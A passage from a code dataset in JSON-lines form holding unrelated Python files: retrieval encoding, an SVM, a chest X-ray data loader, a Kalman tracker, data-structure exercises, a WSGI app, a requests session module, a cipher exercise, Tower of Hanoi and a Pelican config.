pretrain_model in BERT_BASE_MODELS:\n model = load_model(pretrain_model, model_path)\n tokenizer = load_tokenizer(pretrain_model)\n device = torch.device(\"cuda\")\n model.to(device)\n elif pretrain_model in W2V_BASE_MODEL:\n model = load_model(pretrain_model, model_path)\n tokenizer = load_tokenizer(pretrain_model)\n device = None\n else:\n print(re.match(\"sbert\", pretrain_model))\n raise ValueError(f\"{pretrain_model} doesn't exist\")\n\n queries = load_query(query_path)\n\n if args.mode != Q_MODE:\n docs = load_doc(input_doc_path)\n\n if retrieval_result_path.suffix == \".trec\":\n trec = True\n else:\n trec = False\n\n retrieval_result, retrieval_score = load_retreival_result(retrieval_result_path, trec)\n\n if args.mode in {Q_MODE, B_MODE}:\n q_output_dir = output_dir / QUERY\n q_output_dir.mkdir(exist_ok=True, parents=True)\n\n if pretrain_model in BERT_BASE_MODELS:\n encode_and_save_query_bert(q_output_dir, queries, batch_size, tokenizer, model, device)\n elif pretrain_model in W2V_BASE_MODEL:\n encode_and_save_query_w2v(q_output_dir, queries, tokenizer, model)\n else:\n raise ValueError(f\"{pretrain_model} doesn't exist\")\n\n if args.mode in {D_MODE, B_MODE}:\n d_output_dir = output_dir / DOC\n d_output_dir.mkdir(exist_ok=True, parents=True)\n encode_and_save_retrieval(\n d_output_dir, queries, docs, retrieval_result, batch_size, tokenizer, model, pretrain_model, device\n )\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"-d\", dest=\"input_doc\")\n parser.add_argument(\"-q\", dest=\"query_path\")\n parser.add_argument(\"-o\", dest=\"output_dir\")\n parser.add_argument(\"-m\", dest=\"model_path\", default=\"\")\n parser.add_argument(\"-p\", dest=\"pretrain_model\", default=\"\")\n parser.add_argument(\"-rp\", dest=\"first_rank_path\")\n parser.add_argument(\"--mode\", default=\"both\")\n parser.add_argument(\"--batch_size\", type=int, default=128)\n\n args = parser.parse_args()\n\n main(args)\n","sub_path":"src/convert_text2rep.py","file_name":"convert_text2rep.py","file_ext":"py","file_size_in_byte":7308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"303094969","text":"import numpy as np\nfrom scipy.sparse import csr_matrix\nfrom sklearn.utils import shuffle\nimport sys\n\n\nclass SVM(object):\n def __init__(self, C=1, r=.1):\n self.C = C\n self.r = r\n self.w = None\n self.epochs = 1\n\n def set_params(self, params):\n for key, value in params.items():\n setattr(self, key, value)\n return self\n\n\n def fit(self, X, Y, epochs = 1):\n self.epochs = epochs\n numFeatures = X.shape[1]\n self.w = np.zeros(numFeatures)\n\n count = 0\n for epoch in range(self.epochs):\n if epoch != 0:\n X, Y = shuffle(X, Y, random_state = 0)\n numRows = X.shape[0]\n for index in range(X.shape[0]):\n count += 1\n sys.stdout.write(\"\\rProcessing %i of %i. (%.2f%%)\" % (count, numRows * self.epochs, float(count) * 100. / float(numRows * self.epochs)))\n sys.stdout.flush()\n row = X[index]\n label = Y[index]\n product = row.dot(self.w)\n loss = 1. - (product * label)\n gradient = self.w * self.r\n if loss > 0:\n rowProduct = np.squeeze(row.multiply(self.C * label * self.r).toarray())\n gradient = gradient - rowProduct\n\n self.w = self.w - gradient\n # Erase to end of line\n sys.stdout.write(\"\\r\\033[K\")\n sys.stdout.flush()\n\n\n\n\n def predict(self, X):\n predictions = np.zeros(X.shape[0])\n\n for index in range(X.shape[0]):\n row = X[index]\n predictions[index] = np.sign(row.dot(self.w))\n return predictions","sub_path":"HW5Code/models/SVM.py","file_name":"SVM.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"113248018","text":"import kaggle\nimport os\nimport random\nimport shutil\nimport cv2\nimport numpy as np\nimport tqdm\nimport sys\nimport image\n\n# loads dataset from kaggle\ndef load_kaggle():\n if not os.path.exists(os.path.join('kaggle', 'chest_xray')):\n dataset = 'paultimothymooney/chest-xray-pneumonia'\n target = 'kaggle'\n kaggle.api.authenticate()\n kaggle.api.dataset_download_files(dataset=dataset, path=target, unzip=True, quiet=False)\n else:\n print('The Kaggle dataset is already downloaded')\n\ndef re_partition_kaggle():\n #num_to_move = 3418\n #random.seed(1337)\n test_dir = os.path.join('kaggle', 'chest_xray', 'ALL')\n val_dir = os.path.join('kaggle', 'chest_xray', 'val')\n\n # Move images for both classes\n test_2_val('NORMAL', test_dir, val_dir, 158)\n test_2_val('PNEUMONIA', test_dir, val_dir, 428)\n\n\ndef test_2_val(classification, train, val, num_to_move):\n #if len(os.listdir(os.path.join(val, classification))) == 8:\n images = os.listdir(os.path.join(train, classification))\n idx = random.sample(range(0, len(images)), num_to_move)\n images_to_move = [images[i] for i in idx]\n move_images(os.path.join(train, classification), os.path.join(val, classification), images_to_move)\n #else:\n #print('The validation set already has ', len(os.listdir(os.path.join(val, classification))), ' entries')\n\n\ndef move_images(src, dest, images):\n for filename in images:\n shutil.move(os.path.join(src, filename), dest)\n\n\n# DISCLAIMER: code from: https://www.kaggle.com/madz2000/pneumonia-detection-using-cnn-92-6-accuracy\ndef load_and_preprocess_data(data_dir, img_dims, labels):\n img_height, img_width = img_dims\n data = []\n\n dir_len = sum([len(files) for r, d, files in os.walk(data_dir)])\n print(\"Processing {} images in {}.\".format(dir_len, data_dir))\n\n for label in labels:\n path = os.path.join(data_dir, label)\n class_num = labels.index(label)\n for img in tqdm.tqdm(os.listdir(path), desc='{}'.format(label), file=sys.stdout):\n try:\n img_arr = cv2.imread(os.path.join(path, img), cv2.IMREAD_GRAYSCALE)\n resized_arr = cv2.resize(img_arr, (img_height, img_width)) # Reshaping images to preferred size\n data.append([resized_arr, class_num])\n\n except Exception as e:\n print(e)\n data = np.array(data,dtype=object)\n set_x = []\n set_y = []\n for img, label in data:\n set_x.append(img)\n set_y.append(label)\n\n set_x = np.array(set_x) / 255\n set_x = set_x.reshape(-1, img_height, img_width, 1)\n set_y = np.array(set_y)\n return set_x, set_y\n\n\ndef get_data(img_dims, labels,process):\n preprocessed_path = 'dataset/preprocessed/'\n if process:\n # if not os.path.isdir(preprocessed_path):\n # raw_path = 'dataset/kaggle/chest_xray/'\n # if not os.path.isdir(raw_path):\n # load_kaggle()\n\n if os.path.exists(preprocessed_path + 'train_x.npy'):\n os.remove(preprocessed_path + 'train_x.npy')\n os.remove(preprocessed_path + 'train_y.npy')\n os.remove(preprocessed_path + 'val_x.npy')\n os.remove(preprocessed_path + 'val_y.npy')\n os.remove(preprocessed_path + 'test_x.npy')\n os.remove(preprocessed_path + 'test_y.npy')\n\n raw_path = 'dataset/kaggle/chest_xray/'\n\n train_dir = os.path.join(raw_path, 'train')\n test_dir = os.path.join(raw_path, 'test')\n validation_dir = os.path.join(raw_path, 'val')\n\n (train_x, train_y) = load_and_preprocess_data(train_dir, img_dims, labels)\n (val_x, val_y) = load_and_preprocess_data(validation_dir, img_dims, labels)\n (test_x, test_y) = load_and_preprocess_data(test_dir, img_dims, labels)\n\n np.save(preprocessed_path + 'train_x', train_x)\n np.save(preprocessed_path + 'train_y', train_y)\n np.save(preprocessed_path + 'val_x', val_x)\n np.save(preprocessed_path + 'val_y', val_y)\n np.save(preprocessed_path + 'test_x', test_x)\n np.save(preprocessed_path + 'test_y', test_y)\n\n train_x = np.load(preprocessed_path + 'train_x.npy')\n train_y = np.load(preprocessed_path + 'train_y.npy')\n val_x = np.load(preprocessed_path + 'val_x.npy')\n val_y = np.load(preprocessed_path + 'val_y.npy')\n test_x = np.load(preprocessed_path + 'test_x.npy')\n test_y = np.load(preprocessed_path + 'test_y.npy')\n\n return (train_x, train_y), (val_x, val_y), (test_x, test_y)\n\ndef reset_Models():\n folders = ['saved_models/','plots/']\n for folder in folders:\n for filename in os.listdir(folder):\n file_path = os.path.join(folder, filename)\n try:\n if os.path.isfile(file_path) or os.path.islink(file_path):\n os.unlink(file_path)\n elif os.path.isdir(file_path):\n shutil.rmtree(file_path)\n except Exception as e:\n print('Failed to delete %s. Reason: %s' % (file_path, e))\n\n\n\n\ndef count_color_modes(images):\n grey_scale, rgb, rgba, i = 0, 0, 0, 0\n for im in images:\n img = Image.open(im)\n if img.mode == 'L':\n grey_scale += 1\n if img.mode == 'RGB':\n rgb += 1\n if img.mode == 'RGBA':\n rgba += 1\n i = i + 1\n\n print('All: ', i)\n print('Grayscale: ', grey_scale)\n print('RGB: ', rgb)\n print('RGBA: ', rgba)\n\n\nif __name__ == '__main__':\n #load_kaggle()\n re_partition_kaggle()\n","sub_path":"dataset/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":5551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"283608851","text":"import cv2\nimport numpy as np\n\nvideoCapture = cv2.VideoCapture(\"video.avi\")\nfor i in range(80):\n ret,img = videoCapture.read()\n\nkernel = np.ones((5,5),np.uint8)\n\ndef processImage(image):\n image = cv2.cvtColor(image,cv2.COLOR_BGR2HSV)\n image = cv2.inRange(image,(0,230,230),(10,255,255))\n image = cv2.dilate(image,kernel,iterations = 1)\n im2, contours, hierarchy = cv2.findContours(image, cv2.RETR_CCOMP, cv2.CHAIN_APPROX_SIMPLE)\n boundingBoxes = [cv2.boundingRect(points) for points in contours]\n\n detectedPoints = []\n\n image = cv2.cvtColor(image,cv2.COLOR_GRAY2BGR)\n for i in range(len(boundingBoxes)):\n x = boundingBoxes[i][0]\n y =boundingBoxes[i][1]\n x2 = boundingBoxes[i][0] + boundingBoxes[i][2]\n y2 = boundingBoxes[i][1] +boundingBoxes[i][3]\n image = cv2.rectangle(image,(x,y),(x2,y2),(0,0,255),2)\n\n #or x+w/2,y+h/2\n detectedPoints.append((int((x+x2)/2),int((y+y2)/2)))\n\n cv2.imshow(\"im2\", image)\n cv2.waitKey(22)\n\n return detectedPoints\n\nfrom kalmanFilter.kalman import KalmanFilter\n\nkalman = KalmanFilter()\n\nwhile True:\n ret,img = videoCapture.read()\n img = img[10:img.shape[0],10:img.shape[1]]\n detectedPoints = processImage(img)\n\n kalman.predict()\n if len(detectedPoints) ==19:\n print(\"pauza\")\n kalman.update(detectedPoints)\n image = kalman.draw(img,detectedPoints)\n cv2.imshow(\"tracked\",image)\n cv2.waitKey(22)\n\n\n","sub_path":"Autonomous-RCVehiclePython/AutonomousRpi/kalmanFilter/flyTracker.py","file_name":"flyTracker.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"112358606","text":"class Heap:\n def __init__(self):\n self.items = []\n def get_min_child_index(self, index):\n min_child_index = index #return same value as input = no child\n if 2*index + 1 < len(self.items):\n min_child_index = 2*index + 1\n if 2*index + 2 < len(self.items):\n if self.items[2*index + 2] < self.items[min_child_index]:\n min_child_index = 2*index + 2\n return min_child_index\n def add(self, item):\n self.items.append(item)\n index = len(self.items) - 1\n while self.items[index] < self.items[(index - 1) >> 1] and index != 0:\n swap = self.items[index]\n self.items[index] = self.items[(index - 1) >> 1]\n self.items[(index - 1) >> 1] = swap\n index = (index - 1) >> 1\n def pop(self):\n minimum = self.items[0]\n self.items[0] = self.items[-1]\n del self.items[-1]\n index = 0\n min_child_index = self.get_min_child_index(index)\n while self.items != [] and self.items[index] > self.items[min_child_index]:\n swap = self.items[index]\n self.items[index] = self.items[min_child_index]\n self.items[min_child_index] = swap\n index = min_child_index\n min_child_index = self.get_min_child_index(index)\n return minimum\n def get_root(self):\n return self.items[0]\n def is_empty(self):\n if self.items == []:\n return True\n return False\n def size(self):\n return len(self.items)\n def print_heap(self):\n for item in self.items:\n print (item)\n\nclass Node:\n def __init__(self, value, next_node=None):\n self.value = value\n self.next_node = next_node\n def get_value(self):\n return self.value\n def get_next(self):\n return self.next_node\n def set_next(self, next_node):\n self.next_node = next_node\n def __gt__(self, node):\n return self.value > node.value\n def __lt__(self, node):\n return self.value < node.value\n def __str__(self):\n return str(self.value)\n\nclass LinkedList:\n def __init__(self):\n self.head = None\n self.tail = None\n self.size = 0\n def add_tail(self, value):\n new_node = Node(value)\n if self.head == None:\n self.head = new_node\n self.tail = self.head\n else:\n self.tail.next_node = new_node\n self.tail = new_node\n def add_head(self, value):\n new_node = Node(value)\n if self.head == None:\n self.head = new_node\n self.tail = self.head\n else:\n new_node.next_node = self.head\n self.head = new_node\n def pop(self):\n if self.head != None:\n value = self.head.value\n self.head = self.head.next_node\n if self.head == None:\n self.tail = None\n return value\n def peek(self):\n return self.head\n def __str__(self):\n to_str = \"\"\n node = self.head\n while node != None:\n to_str += str(node.value)\n to_str += \" \"\n node = node.next_node\n return to_str\n\nclass KLists:\n\n # Merge K sorted lists.\n # lists - [LinkedList]\n def merge(self, lists):\n merged = LinkedList()\n min_heap = Heap() \n for i in range(len(lists)):\n min_heap.add(lists[i].peek())\n while not min_heap.is_empty():\n minimum = min_heap.pop()\n merged.add_tail(minimum)\n next_node = minimum.get_next()\n if next_node != None:\n min_heap.add(next_node)\n return merged\n \ndef main():\n k = int(input())\n lists = []\n for i in range(k):\n row = input().split()\n linked_list = LinkedList()\n for i in range(len(row)-1):\n linked_list.add_tail(int(row[i]))\n lists.append(linked_list)\n print (KLists().merge(lists))\n \n \nmain()\n ","sub_path":"week2/6-K-Lists/k_lists.py","file_name":"k_lists.py","file_ext":"py","file_size_in_byte":4043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"374276488","text":"import collections\nimport random\n\nfile ='a.txt'\n\ndef change_path(path):\n node_path = []\n for location in path[1:]:\n for intersection in directory:\n if location == intersection[2]:\n node_path.append(int(intersection[1]))\n return node_path\n\ndef conflict_finder():\n conflicts = [item for item, count in collections.Counter(current_node).items() if count > 1]\n return conflicts\n\nwith open(file, \"r+\") as f:\n data_set_example = f.read()\n f.close()\n\ndata_set_example = data_set_example.split(\"\\n\")\nlength = len(data_set_example)\n\nfor i in range(length):\n data_set_example[i] = data_set_example[i].split(\" \")\n\nduration = int(data_set_example[0][0])\nintersections = int(data_set_example[0][1])\nstreets = int(data_set_example[0][2])\ncars = int(data_set_example[0][3])\nscore = int(data_set_example[0][4])\n\ndirectory = []\npaths = []\n\ni = 1\nwhile i < length-1:\n if i < 1+streets:\n directory.append(data_set_example[i])\n i += 1\n else:\n paths.append(data_set_example[i])\n i += 1\n\nnode_path = []\nfor path in paths:\n node_path.append(change_path(path))\n\nedge_list = []\nfor item in directory:\n edge_list.append(list((int(item[0]), int(item[1]), int(item[3]))))\n\ntravel = [[0 for i in range(intersections)] for j in range(intersections)]\nfor i in range(intersections):\n for j in range(intersections):\n if i == j:\n travel[j][i] = 1\nfor row, col, weight in edge_list:\n travel[row][col] = weight\n\nstarting_pos = []\n# current position, stop in path, travel tick time\nfor i in range(cars):\n starting_pos.append(list((int(node_path[i][0]), 0, 0)))\n\ncurrent_pos = starting_pos\ncurrent_node = []\n\nif len(conflict_finder()) == 0:\n for i in range(len(current_pos)):\n if current_pos[i][2] == 0:\n current_pos[i][0] = node_path[i][current_pos[i][1]]\n current_pos[i][1] += 1\n current_pos[i][2] = travel[node_path[i][current_pos[i][1]]][node_path[i][current_pos[i][1]]-1]\n else:\n current_pos[i][2] -= 1\n\ndef tick():\n conflict_finder()\n\ndef conflict_resolution(intersection, incoming_streets):\n street = random.randrange(0,len(incoming_streets)-1)\n return street\n\ndef find_incoming_streets(intersection):\n incoming_streets = []\n for i in range(len(directory)):\n if int(directory[i][1]) == intersection:\n incoming_streets.append(int(directory[i][0]))\n return incoming_streets\n\nrunning = True\ntick_count = 0\nwhile running:\n tick()\n if tick_count == duration:\n running = False\n tick_count += 1\n","sub_path":"solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"201128911","text":"# 1. Напишите программу, которая просит пользователя что-нибудь ввести с клавиатуры. Если он вводит какие-нибудь данные, то на экране должно выводиться сообщение \"ОК\".\n# Если он не вводит данные, а просто нажимает Enter, то программа ничего не выводит на экран.\ninp_str = input('Input: ')\nif len(inp_str) != 0:\n print('OK')\n \n \n# Correct\ninp_str = input('Input: ')\nif inp_str:\n print('OK')\n","sub_path":"homework_2_1.py","file_name":"homework_2_1.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"487664960","text":"# -*- coding: utf-8 -*-\nfrom phi.defaults.exception_handler import default_exception_handler\nfrom phi.exceptions import HttpNotFound\nfrom phi.request.builder import RequestBuilder\nfrom phi.utils import get_status_from_exc\n\n\nNOT_FOUND_PARAMS = {\n \"exc\": None,\n \"status\": 404\n}\n\n\nclass Application(object):\n def __init__(\n self,\n url_router=None,\n middleware=None,\n request_builder_factory=RequestBuilder,\n exception_handler=default_exception_handler\n ):\n self._url_router = url_router\n self._middleware = middleware\n self._request_builder = request_builder_factory()\n self._exception_handler = exception_handler\n\n def handle_wsgi_request(self, env, start_response):\n request = self._request_builder.build_request_from_env(env)\n handler, params = self._get_handler_and_params(request)\n response = self._get_response(handler, request, params)\n self._start_response(response, start_response)\n for chunk in response._get_wsgi_content_iterator():\n yield chunk\n\n def _get_handler_and_params(self, request):\n try:\n return self._url_router.get_handler_and_params_from_request(\n request\n )\n except HttpNotFound:\n if not self._exception_handler:\n raise\n return self._exception_handler, NOT_FOUND_PARAMS\n\n def _get_response(self, handler, request, params):\n response = self._preprocess(request)\n if response:\n return response\n\n try:\n response = handler(request, **params)\n except Exception as e:\n response = self._handle_exception(request, e)\n\n response = self._postprocess(request, response)\n return response\n\n def _preprocess(self, request):\n if not self._middleware:\n return None\n\n try:\n return self._middleware.preprocess(request)\n except Exception as e:\n return self._handle_exception(request, e)\n\n def _postprocess(self, request, response):\n if not self._middleware:\n return response\n\n try:\n return self._middleware.postprocess(request, response)\n except Exception as e:\n return self._handle_exception(request, e)\n\n def _handle_exception(self, request, exc):\n status = get_status_from_exc(exc)\n if not self._exception_handler:\n raise\n return self._exception_handler(request, exc, status)\n\n def _start_response(self, response, start_response):\n status = response._get_wsgi_status()\n headers = response._get_wsgi_headers()\n start_response(status, headers)\n\n __call__ = handle_wsgi_request\n","sub_path":"phi/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"91459889","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nrequests.session\n~~~~~~~~~~~~~~~\n\nThis module provides a Session object to manage and persist settings across\nrequests (cookies, auth, proxies).\n\n\"\"\"\n\nimport cookielib\n\nfrom . import api\nfrom ._config import get_config\nfrom .utils import add_dict_to_cookiejar\nfrom .packages.urllib3.poolmanager import PoolManager\n\n\ndef merge_kwargs(local_kwarg, default_kwarg):\n \"\"\"Merges kwarg dictionaries.\n\n If a local key in the dictionary is set to None, it will be removed.\n \"\"\"\n\n # Bypass if not a dictionary (e.g. timeout)\n if not hasattr(local_kwarg, 'items'):\n return local_kwarg\n\n # Update new values.\n kwargs = default_kwarg.copy()\n kwargs.update(local_kwarg)\n\n # Remove keys that are set to None.\n for (k,v) in local_kwarg.items():\n if v is None:\n del kwargs[k]\n\n return kwargs\n\n\n\nclass Session(object):\n \"\"\"A Requests session.\"\"\"\n\n __attrs__ = [\n 'headers', 'cookies', 'auth', 'timeout', 'proxies', 'hooks',\n 'config'\n ]\n\n def __init__(self,\n headers=None,\n cookies=None,\n auth=None,\n timeout=None,\n proxies=None,\n hooks=None,\n config=None):\n\n self.headers = headers\n self.cookies = cookies or {}\n self.auth = auth\n self.timeout = timeout\n self.proxies = proxies\n self.hooks = hooks\n self.config = get_config(config)\n\n self.__pools = PoolManager(\n num_pools=10,\n maxsize=1\n )\n\n # Map and wrap requests.api methods.\n self._map_api_methods()\n\n def __repr__(self):\n return '' % (id(self))\n\n def __enter__(self):\n return self\n\n def __exit__(self, *args):\n pass\n\n def _map_api_methods(self):\n \"\"\"Reads each available method from requests.api and decorates\n them with a wrapper, which inserts any instance-local attributes\n (from __attrs__) that have been set, combining them with **kwargs.\n \"\"\"\n\n def pass_args(func):\n def wrapper_func(*args, **kwargs):\n\n # Argument collector.\n _kwargs = {}\n\n # Merge local and session arguments.\n for attr in self.__attrs__:\n # if attr == 'cookies':\n # print getattr(self, attr)\n # print kwargs.get(attr)\n\n # Merge local and session dictionaries.\n default_attr = getattr(self, attr)\n local_attr = kwargs.get(attr)\n\n # Cookies persist.\n if attr == 'cookies':\n local_attr = local_attr or {}\n\n new_attr = merge_kwargs(local_attr, default_attr)\n\n # Skip attributes that were set to None.\n if new_attr is not None:\n _kwargs[attr] = new_attr\n\n # Make sure we didn't miss anything.\n for (k, v) in kwargs.items():\n if k not in _kwargs:\n _kwargs[k] = v\n\n # Add in PoolManager, if neccesary.\n if self.config.get('keep_alive'):\n _kwargs['_pools'] = self.__pools\n\n # TODO: Persist cookies.\n # print self.cookies\n\n # print _kwargs.get('cookies')\n # print '%%%'\n\n r = func(*args, **_kwargs)\n # print r.cookies\n self.cookies.update(r.cookies or {})\n return r\n return wrapper_func\n\n # Map and decorate each function available in requests.api\n map(lambda fn: setattr(self, fn, pass_args(getattr(api, fn))), api.__all__)\n\n\ndef session(**kwargs):\n \"\"\"Returns a :class:`Session` for context-managment.\"\"\"\n\n return Session(**kwargs)\n","sub_path":"requests/sessions.py","file_name":"sessions.py","file_ext":"py","file_size_in_byte":3900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"147414730","text":"# -*- coding: utf-8 -*-\nfrom collections import OrderedDict\n\nalph = \" abcdefghijklmnopqrstuvwxyz\"\nlen_alph =len(alph)\nalph_list = list(alph)\n\ndict_alph = {}\ni = 0\nwhile i < len(alph_list):\n dict_alph[alph_list[i]] = i\n i += 1\n#print(f'dict_alph = {dict_alph}')\n\nf = open('book.txt')\ndata = f.read()\nf.close()\n\ndata = data.lower()\nnew_arr = []\nfor i in alph_list:\n a = data.count(i)\n new_arr.append(a)\n\ndict_new_arr = {}\ni = 0\nwhile i < len(alph_list):\n dict_new_arr[alph_list[i]] = new_arr[i]\n i += 1\nprint(f'book_dictionary = {dict_new_arr}')\n\nprint('===============')\n#Шифротекст\n\nf = open('paragraph.txt')\ndata2 = f.read()\nf.close()\n\ndata2 = data2.lower()\nkey = 3\nnew_mess = ''\nfor a in data2:\n if a in alph_list:\n new_mess += alph_list[(dict_alph[a] + key) % len_alph]\n else:\n continue \n#print(f'\\n: {new_mess}')\n\nmy_file = open(\"scipher.txt\", 'w')\nmy_file.write(new_mess)\nmy_file.close()\n\nf = open('scipher.txt')\ndata3 = f.read()\nf.close()\n\n\nnew_arr2 = []\nfor i in alph_list:\n a = data3.count(i)\n new_arr2.append(a)\n\ndict_new_arr2 = {}\ni = 0\nwhile i < len(alph_list):\n dict_new_arr2[alph_list[i]] = new_arr2[i]\n i += 1\nprint(f'cipher_dictionary = {dict_new_arr2}')\nprint(\" \")\nprint(\"=============================\")\n#Процентовка\nfor a in dict_new_arr:\n dict_new_arr[a] = int(dict_new_arr[a]) / len(data)\nprint(f'dict_new_arr = {dict_new_arr}')\nprint(\" \")\nfor a in dict_new_arr2:\n dict_new_arr2[a] = int(dict_new_arr2[a]) / len(data2)\nprint(f'dict_new_arr2 = {dict_new_arr2}')\nprint(\" \")\n#Сортування \n#br = sorted(dict_new_arr2.items(), key=lambda x:x[1])\nsorted_dict = OrderedDict(sorted(dict_new_arr.items(), key=lambda x: -x[1]))\nsorted_dict2 = OrderedDict(sorted(dict_new_arr2.items(), key=lambda x: -x[1]))\n\nprint(sorted_dict) # з книги\nprint(sorted_dict2) # з шифротексту\n \nsorted_arr = list(sorted_dict.keys())\nsorted_arr2 = list(sorted_dict2.keys())\n\nprint(sorted_arr)\nprint(sorted_arr2)\n#Розшифровка\n\ndict_sorted = {}\ni = 0\nwhile i < len(alph_list):\n dict_sorted[sorted_arr2[i]] = i\n i += 1\nprint(dict_sorted)\n\nnew_mess = ''\nkey = 0\nfor a in data3:\n if a in sorted_arr:\n new_mess += sorted_arr[(dict_sorted[a] + key)]\n else:\n continue\nprint(f'\\n: {new_mess}')\nmy_file2 = open(\"unscipher.txt\", 'w')\nmy_file2.write(new_mess)\nmy_file2.close()","sub_path":"Cryptography/Early_Ciphers/Tasks/Book cipher/Task_Book.py","file_name":"Task_Book.py","file_ext":"py","file_size_in_byte":2406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"643001351","text":"# Hint: You may not need all of these. Remove the unused functions.\nclass Ticket:\n def __init__(self, source, destination):\n self.source = source\n self.destination = destination\n\ndef reconstruct_trip(tickets, length):\n \"\"\"\n YOUR CODE HERE\n \"\"\"\n # Your code here\n cache= {}\n # add to cache where src= key, dest= value\n for i in range(length):\n cache[tickets[i].source]= tickets[i].destination\n\n # find starting dest. has NONE as src\n route= []\n start= {}\n for i, v in cache.items():\n if i == 'NONE':\n start= v\n route.append(start)\n\n # start with 'start' get its dest\n next= start\n while len(route) < len(tickets):\n for k, v in cache.items():\n if k == next:\n next= cache[k]\n route.append(next)\n\n return route","sub_path":"OLD_hashtables/ex2/ex2.py","file_name":"ex2.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"191745098","text":"BOARD_SIZE = 3\n\ndef block_str(n, size):\n\tblock = ''\n\n\tblock += ' '*(n-size)\n\tblock += '='*(size)\n\tblock += '|'\n\tblock += '='*(size)\n\tblock += ' '*(n-size)\n\n\treturn block\n\n\nclass Board():\n\tdef __init__(self, n):\n\t\tself.board = [list(range(n,0,-1)), [], []]\n\t\tself.n = n\n\n\tdef __len__(self):\n\t\treturn self.n\n\n\tdef __str__(self):\n\t\toutput = ''\n\n\t\t# Curr is top of each stack\n\t\tcurr = []\n\t\tfor pole in range(BOARD_SIZE):\n\t\t\tcurr.append(len(self.board[pole]) - 1)\n\n\t\tfor lvl in range(self.n,0,-1):\n\t\t\tfor pole in range(BOARD_SIZE):\n\t\t\t\t# If stack is less than height lvl, print empty block\n\t\t\t\tif len(self.board[pole]) < lvl:\n\t\t\t\t\toutput += block_str(self.n, 0)\n\t\t\t\telse:\n\t\t\t\t\toutput += block_str(self.n, self.board[pole][curr[pole]])\n\t\t\t\t\tcurr[pole] = curr[pole] - 1\n\t\t\toutput += '\\n'\n\n\t\treturn output\n\n\tdef move_disc(self, f, t):\n\t\tdisc = self.board[f].pop()\n\t\tself.board[t].append(disc)\n\n### The Nice Function ###\ndef solve_rec(board, n, start, end, aux):\n\tif n == 0:\n\t\treturn\n\n\tsolve_rec(board, n-1, start, aux, end)\n\n\tprint(\"MOVE DISC FROM POLE {} TO {}\".format(start + 1, end + 1))\n\tboard.move_disc(start, end)\n\tprint(board)\n\n\tsolve_rec(board, n-1, aux, end, start)\n\ndef solve_hanoi(n):\n\tboard = Board(n)\n\tprint(\"TOWERS OF HANOI - {} DISCS\".format(n))\n\tprint(board)\n\tsolve_rec(board, n, 0, 2, 1)\n","sub_path":"python_version/hanoi.py","file_name":"hanoi.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"547932537","text":"# coding: utf8\nimport requests, json\n\n\ndef stats(args):\n api = 'API от osu!'\n user_id = args[0]\n r = requests.post('https://osu.ppy.sh/api/get_user', data={'k': api, 'u': user_id})\n user = json.loads(r.text)\n res = u'Статистика ' + user_id + u': '+\\\n u'Play Count: '+ user[0]['playcount']+ \\\n u', PP: ' + user[0]['pp_raw'] + \\\n u', Место в мире: ' + user[0]['pp_rank']+\\\n u', Место по стране: '+user[0]['pp_country_rank'] +\\\n u', lvl: '+user[0]['level']+\\\n u', acc: ' + user[0]['accuracy'][:4]\n return res\n\n","sub_path":"src/lib/commands/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"395352988","text":"# mjqjpqmgbljsphdztnvjfqwrcgsmlb\n\nimport sys\n\ndef check_unique(str):\n for i in range(len(str)):\n for j in range(i + 1,len(str)):\n if(str[i] == str[j]):\n return False\n return True\n\nwith open(sys.argv[1], \"r\") as f:\n\n for line in f:\n line = line.rstrip()\n\n s = \"\"\n\n pos = 1\n\n for c in line:\n s += c\n if len(s) > 4:\n s = s[1:5]\n \n if len(s) == 4:\n if check_unique(s):\n print(pos)\n quit()\n pos += 1","sub_path":"2022/06 - Tuning Trouble/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"31834827","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\nAUTHOR = 'Matthew Rich'\nSITENAME = 'Technically Voracious'\nSITEURL = ''\n\nPATH = 'content'\n\nTIMEZONE = 'US/Central'\n\nDEFAULT_LANG = 'en'\nDEFAULT_CATEGORY = 'blog'\n\nTHEME = \"theme\"\n\nDISPLAY_PAGES_ON_MENU = True\nDISPLAY_TAGS_ON_SIDEBAR = False\n\nARTICLE_URL = 'posts/{date:%Y}/{date:%m}/{date:%d}/{slug}.html'\nARTICLE_SAVE_AS = 'posts/{date:%Y}/{date:%m}/{date:%d}/{slug}.html'\n\nSTATIC_PATHS = [\n 'images',\n 'extra',\n]\n\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = 